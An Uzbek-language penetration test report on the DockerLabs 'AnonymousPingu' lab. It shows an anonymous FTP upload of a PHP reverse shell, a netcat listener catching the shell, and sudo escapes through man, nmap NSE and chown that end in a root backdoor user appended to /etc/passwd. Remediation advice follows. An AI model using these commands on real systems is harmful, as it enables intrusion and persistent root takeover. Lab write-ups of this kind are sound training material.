

AnonymousPingu — dockerlabs



Target nomi: AnonymousPingu — dockerlabs

Target IP manzili: 172.17.0.2

Test turi: Balack Box Pentesting

Metodologiya: PTES (Penetrations Testing Execution Standart)

Tester: Odilov Aslanbek

Sana: 31.07.2026

Umumiy xavf darajasi: Kritik (Critical)

1 — Enumerations

Port scanning

Targetning ochiq portlarini tekshirish maqsadida `nmap` vasitasidan foydalanildi

```
nmap -sV 172.17.0.2
```

Port	Services	Version	State
21/tcp	FTP	vsftpd 3.0.5	OPEN
80/tcp	HTTP	Apache httpd 2.4.58 Ubuntu	OPEN

```
(pegasus@env) - [~/Desktop]
$ nmap -sV 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-26 19:39 +0500
Nmap scan report for 172.17.0.2
Host is up (0.0000020s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
80/tcp    open  http     Apache httpd 2.4.58 ((Ubuntu))
MAC Address: 4E:18:28:31:F1:A1 (Unknown)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org
Nmap done: 1 IP address (1 host up) scanned in 6.78 seconds

(pegasus@env) - [~/Desktop]
$ Odilov Aslanbek
```

2 — FTP Enumeration

FTP tahlili

Targetda **FTP** services ishlayotgani aniqlandi va unga anonymous connection amalga oshirildi

```
ftp 172.17.0.2
```

```
(pegasus@env) - [~/Desktop]
$ ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 3.0.5)
Name (172.17.0.2:pegasus): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> Odilov Aslanbek
```

FTP services ichida **upload** nomli papka aniqlandi va uning ichiga revers shel opish uchun php fayl yuklandi.

```
put php-reverse-shell.php
```

```
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
229 Entering Extended Passive Mode (|||45401|)
150 Ok to send data.
100% |*****
226 Transfer complete.
5491 bytes sent in 00:00 (575.84 KiB/s)
ftp> ls -la
229 Entering Extended Passive Mode (|||57648|)
150 Here comes the directory listing.
drwxrwxrwx   1 33      33          4096 Jul 26 15:15 .
drwxr-xr-x   1 0        0          4096 Apr 28  2024 ..
-rwxrwxrwx   1 101     103        5491 Jul 26 15:15 php-reverse-shell.php
226 Directory send OK.
ftp> Odilov Aslanbek
```

3 — Initials access

Revers shell

Yuklangan php fayilni ishga tushirish orqali tizimda `www-data` user nomidan revers shell olindi

```
curl http://172.17.0.2/upload/php-reverse-shell.php
```

```
Heustonn
(pegasus@env) - [/usr/share/webshells/php]
$ curl http://172.17.0.2/upload/php-reverse-shell.php
Odilov Aslanbek
```

```
(pegasus@env) - [/usr/share/webshells/php]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.13] from (UNKNOWN) [172.17.0.2] 46294
Linux f094aa27c84f 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 (2026-06-18) x86_64 x86_64 GNU/Linux
19:58:47 up 48 min, 0 user, load average: 0.55, 0.60, 0.70
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ Odilov Aslanbek
```

Olingan shelni interactive qilish uchun quyidagi commandadan foydalanildi.

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
Script: cannot open /bin/bash: Permission denied
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@f094aa27c84f:/$ Odilov Aslanbek
```

Tizimda www-data userining huquqlarini ko'rish vaqtida tizimdagi `pingu` userining root nomidan commanda ishga tushirish ruxsati bor ekanlig aniqlandi.

```
sudo -l
```

```
www-data@f094aa27c84f:/$ sudo -l
sudo -l
Matching Defaults entries for www-data on f094aa27c84f:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User www-data may run the following commands on f094aa27c84f:
    (pingu) NOPASSWD: /usr/bin/man
www-data@f094aa27c84f:/$ Odilov Aslanbek
```

Topilgan `SUID` ga exploit topildi va uni malda ishlatish orqali tizimda `pingu` nomli normal userga o'tildi

```
sudo -u pingu man -P "/bin/sh -c 'exec /bin/bash -i < /dev/tty > /dev/tty 2>&1'" man
```

```
www-data@f094aa27c84f:/$ sudo -u pingu man -P "/bin/sh -c 'exec /bin/bash -i < /dev/tty > /dev/tty 2>&1'" man
<'exec /bin/bash -i < /dev/tty > /dev/tty 2>&1'" man
pingu@f094aa27c84f:/$ Odilov Aslanbek
```

Tizimdagi `pingu` userining shelli interactive qilib olindi

```
TF=$(mktemp).nse
```

```
echo 'os.execute("/bin/bash")' > $TF
```

```
pingu@ab1a79f19f22:/$ TF=$(mktemp).nse
TF=$(mktemp).nse
pingu@ab1a79f19f22:/$ echo 'os.execute("/bin/bash")' > $TF
echo 'os.execute("/bin/bash")' > $TF
pingu@ab1a79f19f22:/$ Odilov Aslanbek
```

Tizimdagi topilgan `pingu` userining huquqlari tekshirilganda `gladys` nomli user nomidan ishga tushiriladigan ikita `SUID` topildi `/usr/bin/nmap` va `/usr/bin/dpkg` lar topildi.

```
sudo -l
```

```
pingu@f094aa27c84f:/$ sudo -l
sudo -l
Matching Defaults entries for pingu on f094aa27c84f:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User pingu may run the following commands on f094aa27c84f:
    (gladys) NOPASSWD: /usr/bin/nmap
    (gladys) NOPASSWD: /usr/bin/dpkg
pingu@f094aa27c84f:/$ Odilov Aslanbek
```

Topilgan `SUID` larga exploit topildi va topilgan exploit orqali `gladys` useriga o'tildi

```
sudo -u gladys /usr/bin/nmap --script=$TF
```

```
pingu@ab1a79f19f22:/$ sudo -u gladys /usr/bin/nmap --script=$TF
sudo -u gladys /usr/bin/nmap --script=$TF
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-30 18:27 UTC
bash: cannot set terminal process group (1322): Inappropriate ioctl for device
bash: no job control in this shell
gladys@ab1a79f19f22:/$ Odilov Aslanbek
```

Tizimdagi `gladys` userining huquqlari tekshirilganda quyidagi `/usr/bin/chown` nomli `SUID` topildi

```
sudo -l
```

```
gladys@abla79f19f22:/var/www$ sudo -l
Matching Defaults entries for gladys on abla79f19f22:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User gladys may run the following commands on abla79f19f22:
    (root) NOPASSWD: /usr/bin/chown
gladys@abla79f19f22:/var/www$ Odilov Aslanbek
```

Topilgan ruxsatlar bilan tizimda `gladys` userining egasi va gruxi o'zgartirildi

```
sudo /usr/bin/chown gladys:gladys /etc/passwd
```

```
gladys@4744bc03c312:/var/www$ sudo /usr/bin/chown gladys:gladys /etc/passwd
gladys@4744bc03c312:/var/www$ Odilov Aslanbek
```

Va tizimdagi `/etc/passwd` faylga yangi user qo'shildi va qo'shyilgan user to'g'ridan to'g'ri root user huquqlari berilishi aniqlandi

```
openssl passwd -1 -salt xyz password123
```

Yartilgan hash

```
$1$xyz$yHoMTbjR/T1EsmNb.r7cu0
```

Keyin `hacker` nomli userni `/etc/passwd` ga qo'shib yubordik

```
echo 'hacker:$1$xyz$yHoMTbjR/T1EsmNb.r7cu0:0:0:root:/root:/bin/bash' >> /etc/passwd
```

```
gladys@4744bc03c312:/var/www$ sudo /usr/bin/chown gladys:gladys /etc/passwd
gladys@4744bc03c312:/var/www$ echo 'hacker:$1$xyz$yHoMTbjR/T1EsmNb.r7cu0:0:0:root:/root:/bin/bash' >> /etc/passwd
gladys@4744bc03c312:/var/www$ Odilov Aslanbek
```

Root access

Yaratilgan `hacker` useriga `su` comandasi bilan login qilindi va natijada root user darajasiga chiqildi

```
su hacker  
Password: password123
```

```
gladys@4744bc03c312:/$ su hacker  
Password: password123  
  
root@4744bc03c312:/# id  
uid=0(root) gid=0(root) groups=0(root)  
root@4744bc03c312:/# Odilov Aslanbek|
```

Xavf darajasi:  Critical

Tavsif

Tizimda ishlayotgan FTP xizmatida anonymous login ruxsati mavjudligi aniqlandi. Ushbu ruxsat orqali autentifikatsiyasiz foydalanuvchi serverga ulanishi va fayllarni yuklashi mumkin bo'lgan.

FTP serverdagi `upload` katalogiga PHP fayl yuklash imkoniyati mavjud bo'lganligi sababli hujumchi zararli PHP kodini serverga joylashtirib, keyinchalik HTTP orqali ishga tushirish imkoniyatiga ega bo'ldi.

Bu zaiflik natijasida masofadan turib kod bajarish (Remote Code Execution) amalga oshirildi va tizimda `www-data` foydalanuvchisi nomidan dastlabki kirish huquqi qo'lga kiritildi.

Ta'siri

- Autentifikatsiyasiz serverga kirish
- Serverga zararli fayl yuklash
- Masofadan kod bajarish (RCE)

- Tizimning to'liq komprometatsiyasi uchun boshlang'ich nuqta

Tavsiyalar

- Anonymous FTP login funksiyasini o'chirish
 - FTP orqali fayl yuklashni cheklash
 - Web root ichidagi kataloglarga yozish huquqini olib tashlash
 - FTP o'rniga SFTP yoki SCP kabi xavfsiz protokollardan foydalanish
 - Yuklanayotgan fayllarni MIME-type va extension bo'yicha tekshirish
-

2. Web Root Katalogiga PHP Fayl Yuklash

Xavf darajasi:  Critical

Tavsif

FTP orqali yuklangan fayllar to'g'ridan-to'g'ri Apache tomonidan xizmat ko'rsatiladigan katalogga joylashtirilgan.

Natijada PHP reverse shell fayli HTTP orqali ishga tushirilgan va serverda buyruqlar bajarilgan.

Ta'siri

- Masofadan kod bajarish
- Tizimga dastlabki kirish
- Keyingi privilege escalation hujumlari uchun imkoniyat yaratish

Tavsiyalar

- Upload kataloglarini web root'dan ajratish
- PHP interpretatsiyasini upload kataloglari uchun o'chirish
- Fayl yuklash siyosatini qat'iy nazorat qilish
- Apache konfiguratsiyasida executable fayllarni bloklash

3. Noto'g'ri Sudo Konfiguratsiyasi (**man**)

Xavf darajasi:  Critical

Tavsif

www-data foydalanuvchisiga **pingu** nomidan **man** dasturini sudo orqali ishga tushirish ruxsati berilgan.

man utilitasi shell escape funksiyasiga ega bo'lgani sababli hujumchi ushbu ruxsatdan foydalanib **pingu** foydalanuvchisiga o'tishga muvaffaq bo'ldi.

Ta'siri

- Privilege Escalation
- Boshqa foydalanuvchi huquqlarini qo'lga kiritish
- Lateral Movement

Tavsiyalar

- Shell escape imkoniyatiga ega dasturlarni sudo orqali berishni taqiqlash
- Least Privilege tamoyiliga amal qilish
- Sudoers konfiguratsiyasini muntazam audit qilish

4. Noto'g'ri Sudo Konfiguratsiyasi (**nmap**)

Xavf darajasi:  Critical

Tavsif

pingu foydalanuvchisiga **gladys** nomidan **nmap** dasturini ishga tushirish ruxsati berilgan.

Nmap NSE script funksiyasi orqali tizim buyruqlari bajarilib, **gladys** foydalanuvchisi huquqlari qo'lga kiritildi.

Ta'siri

- Privilege Escalation
- Tizim ichida foydalanuvchilar o'rtasida huquq oshirish
- Keyingi root ekspluatatsiyasi uchun imkoniyat yaratish

Tavsiyalar

- NSE script ishlatishga ruxsat beruvchi sudo qoidalarini olib tashlash
 - Nmap uchun sudo ruxsatlarini bekor qilish
 - GTFOBins ro'yxatidagi utilitalarni sudo orqali berishni cheklash
-

5. Noto'g'ri Sudo Konfiguratsiyasi (**chown**)

Xavf darajasi:  Critical

Tavsif

gladys foydalanuvchisiga root nomidan **/usr/bin/chown** dasturini ishga tushirish ruxsati berilgan.

Ushbu ruxsat yordamida **/etc/passwd** faylining egasi o'zgartirildi va keyinchalik root huquqlariga ega yangi foydalanuvchi yaratildi.

Ta'siri

- Root Privilege Escalation
- Tizimning to'liq komprometatsiyasi
- Persistent Access yaratish imkoniyati
- Audit va monitoring tizimlarini chetlab o'tish

Tavsiyalar

- Chown utilitasiga sudo ruxsatini olib tashlash

- Sudoers konfiguratsiyasini qayta ko'rib chiqish
- Muhim tizim fayllarining yaxlitligini monitoring qilish
- File Integrity Monitoring (FIM) tizimini joriy etish

6. Muhim Tizim Fayllarini Himoyalashdagi Kamchilik

Xavf darajasi:  Critical

Tavsif

Hujumchi `/etc/passwd` faylini o'zgartirish imkoniyatiga ega bo'ldi va root huquqlariga ega yangi foydalanuvchi yaratdi.

Bu holat tizimning eng muhim autentifikatsiya fayllaridan biri ustidan nazorat yo'qolganligini ko'rsatadi.

Ta'siri

- Root Access
- Backdoor yaratish
- To'liq tizim nazoratini qo'lga kiritish

Tavsiyalar

- `/etc/passwd` va `/etc/shadow` fayllarini monitoring qilish
- FIM (AIDE, Tripwire, Wazuh) yechimlarini joriy etish
- Minimal privilegiyalar siyosatini qo'llash
- Audit loglarini muntazam tekshirish

5 — Risk Rating Summary

Zaiflik	Xavf darajasi
Anonymous FTP Access	 Critical

Zaiflik	Xavf darajasi
FTP Upload to Web Root	● Critical
Remote Code Execution	● Critical
Sudo Misconfiguration (man)	● Critical
Sudo Misconfiguration (nmap)	● Critical
Sudo Misconfiguration (chown)	● Critical
Privilege Escalation	● Critical
Root Access	● Critical

6 — Yakuniy Xulosa

Mazkur pentest davomida tizimda bir nechta kritik darajadagi zaifliklar aniqlandi. Hujum zanjiri anonymous FTP xizmatidan boshlangan bo'lib, autentifikatsiyasiz fayl yuklash imkoniyati orqali serverga zararli PHP fayl joylashtirildi. Ushbu fayl yordamida masofadan kod bajarish (RCE) amalga oshirilib, serverda `www-data` foydalanuvchisi huquqlari qo'lga kiritildi.

Keyingi bosqichlarda noto'g'ri sozlangan sudo qoidalari sababli hujumchi bir nechta privilege escalation hujumlarini muvaffaqiyatli amalga oshirdi. `man`, `nmap` va `chown` utilitalariga berilgan ortiqcha ruxsatlar orqali foydalanuvchi huquqlari bosqichma-bosqich oshirildi va yakuniy natijada root darajasidagi to'liq nazorat qo'lga kiritildi.

Mazkur zaifliklar kombinatsiyasi tizimning maxfiylik (Confidentiality), yaxlitlik (Integrity) va mavjudlik (Availability) talablariga jiddiy tahdid soladi. Hujumchi serverdagi barcha ma'lumotlarni o'qishi, o'zgartirishi yoki o'chirishi, shuningdek tizimda doimiy backdoorlar yaratishi mumkin.

Umumiy Risk Bahosi

Kategoriya	Baho
Confidentiality	● Critical
Integrity	● Critical
Availability	● High

Kategoriya	Baho
Privilege Escalation	● Critical
Remote Code Execution	● Critical
Overall Risk	● Critical

Yakuniy Tavsiya

Tizim ishlab chiqarish (production) muhitida ishlatilayotgan bo'lsa, aniqlangan zaifliklar imkon qadar tez bartaraf etilishi zarur. Birinchi navbatda anonymous FTP xizmatini o'chirish, web root kataloglariga yozish huquqlarini cheklash va sudo konfiguratsiyasini to'liq audit qilish tavsiya etiladi. Shuningdek, barcha foydalanuvchi ruxsatlari Least Privilege tamoyili asosida qayta ko'rib chiqilishi hamda muhim tizim fayllari uchun yaxlitlik monitoringi joriy qilinishi lozim.

Umumiy xavf darajasi: ● CRITICAL (9.8/10).